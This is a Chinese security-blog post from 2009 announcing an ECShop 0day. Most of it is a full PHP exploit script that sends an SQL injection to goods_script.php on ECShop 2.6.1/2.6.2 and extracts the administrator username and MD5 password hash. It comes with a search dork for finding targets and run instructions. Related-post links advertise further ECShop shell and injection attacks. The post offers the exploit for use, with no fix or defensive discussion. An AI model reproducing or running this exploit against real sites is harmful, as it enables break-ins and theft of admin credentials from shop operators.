ECShop网店系统新0day

2009, October 24, 3:51 PM. 漏洞集研
Submitted by admin

影响ECSHOP2.6.1/2.6.2版本
  EXP:
  #!/usr/bin/php
  print_r('
  +---------------------------------------------------------------------------+
  ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
  by puret_t
  mail: puretot at gmail dot com
  team: http://www.esunk.cn
  dork: "Powered by ECShop"
  +---------------------------------------------------------------------------+
  ');
  /**
  * works with register_globals = On
  */
  if ($argc < 3) {
  print_r('
  +---------------------------------------------------------------------------+
  Usage: php '.$argv[0].' host path
  host: target server (ip/hostname)
  path: path to ecshop
  Example:
  php '.$argv[0].' localhost /ecshop/
  +---------------------------------------------------------------------------+
  ');
  exit;
  }
  error_reporting(7);
  ini_set('max_execution_time', 0);
  $host = $argv[1];
  $path = $argv[2];
  $resp = send();
  preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);
  if ($hash)
  exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
  else
  exit("Exploit Failed!\n");
  function send()
  {
  global $host, $path;
  $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';
  $data = "POST ".$path."goods_script.php?type=".time()." HTTP/1.1\r\n";
  $data .= "Accept: */*\r\n";
  $data .= "Accept-Language: zh-cn\r\n";
  $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
  $data .= "Host: $host\r\n";
  $data .= "Content-Length: ".strlen($cmd)."\r\n";
  $data .= "Connection: Close\r\n\r\n";
  $data .= $cmd;
  $fp = fsockopen($host, 80);
  fputs($fp, $data);
  $resp = '';
  while ($fp && !feof($fp))
  $resp .= fread($fp, 1024);
  return $resp;
  }
  ?>
  把以上代码保存为php格式,如 1.php
  利用格式:php.exe 1.php host 网站目录路径,一般网站目录都位于根目录,所以网站目录路径写为/

 

Tags: ecshop, oday

« 上一篇 | 下一篇 »

只显示10条记录相关文章
ecshop最新版 (v272) 本地包含拿SHELL (浏览: 18324, 评论: 0)
ecshop后台获取shell最新方法,通杀最新版本&后台低权限 (浏览: 17916, 评论: 0)
ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋) (浏览: 15881, 评论: 0)
ECshop 支付方式注射 0day (浏览: 14166, 评论: 0)
ecshop v2.72 前台写shell漏洞 (浏览: 12035, 评论: 0)
ecshop2.72鸡肋注入 (浏览: 10936, 评论: 0)
ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell (浏览: 12816, 评论: 0)
ecshop后台拿shell的又一种方法 (浏览: 13673, 评论: 0)
ecshop SQL注射漏洞0821 0day (浏览: 10954, 评论: 0)
ECSHOP数据库结构参数表结构说明 (浏览: 14993, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):